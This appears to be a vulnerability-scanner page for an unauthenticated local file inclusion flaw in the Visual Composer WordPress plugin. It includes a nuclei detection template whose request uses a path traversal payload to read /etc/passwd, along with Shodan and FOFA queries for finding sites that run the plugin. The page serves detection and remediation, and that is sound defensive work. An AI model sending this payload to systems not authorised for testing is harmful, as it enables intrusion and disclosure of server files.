Visual Composer <= 45.16.0 - Unauthenticated LFI

criticalseverity

9.8CVSS score

2.8%likelihood of exploitation, next 30 days

87%of all CVEs are less likely

Readycheck to confirm it

Visual Composer Website Builder for WordPress <= 45.16.0 contains a local file inclusion vulnerability caused by improper validation of the vcv-template parameter, letting unauthenticated attackers include and execute arbitrary files, exploit requires no authentication.

Impact

Unauthenticated attackers can execute arbitrary PHP code, bypass access controls, and access sensitive data on the server.

Fix

Update to the latest version beyond 45.16.0.

How to confirm it

Send: GET /
Positive when: status_code == 200 and contains(body, "visualcomposer")
Send: GET /?vcv-template-type=vc&vcv-template=../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2026-12227 -u <target>

The full check

id: CVE-2026-12227

info:
  name: Visual Composer <= 45.16.0 - Unauthenticated LFI
  author: 0x_Akoko
  severity: critical
  description: |
    Visual Composer Website Builder for WordPress <= 45.16.0 contains a local file inclusion vulnerability caused by improper validation of the vcv-template parameter, letting unauthenticated attackers include and execute arbitrary files, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can execute arbitrary PHP code, bypass access controls, and access sensitive data on the server.
  remediation: |
    Update to the latest version beyond 45.16.0.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/visualcomposer/visual-composer-website-builder-45160-unauthenticated-local-file-inclusion-via-vcv-template-parameter
    - https://github.com/murrez/CVE-2026-12227
    - https://nvd.nist.gov/vuln/detail/CVE-2026-12227
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-12227
    epss-score: 0.02773
    epss-percentile: 0.86455
    cwe-id: CWE-98
  metadata:
    verified: true
    max-request: 2
    vendor: developer
    product: visualcomposer
    shodan-query: http.html:"/wp-content/plugins/visualcomposer/"
    fofa-query: body="/wp-content/plugins/visualcomposer/"
  tags: cve,cve2026,wordpress,wp-plugin,visualcomposer,lfi,unauth,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "visualcomposer")'
        condition: and
        internal: true

  - raw:
      - |
        GET /?vcv-template-type=vc&vcv-template=../../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from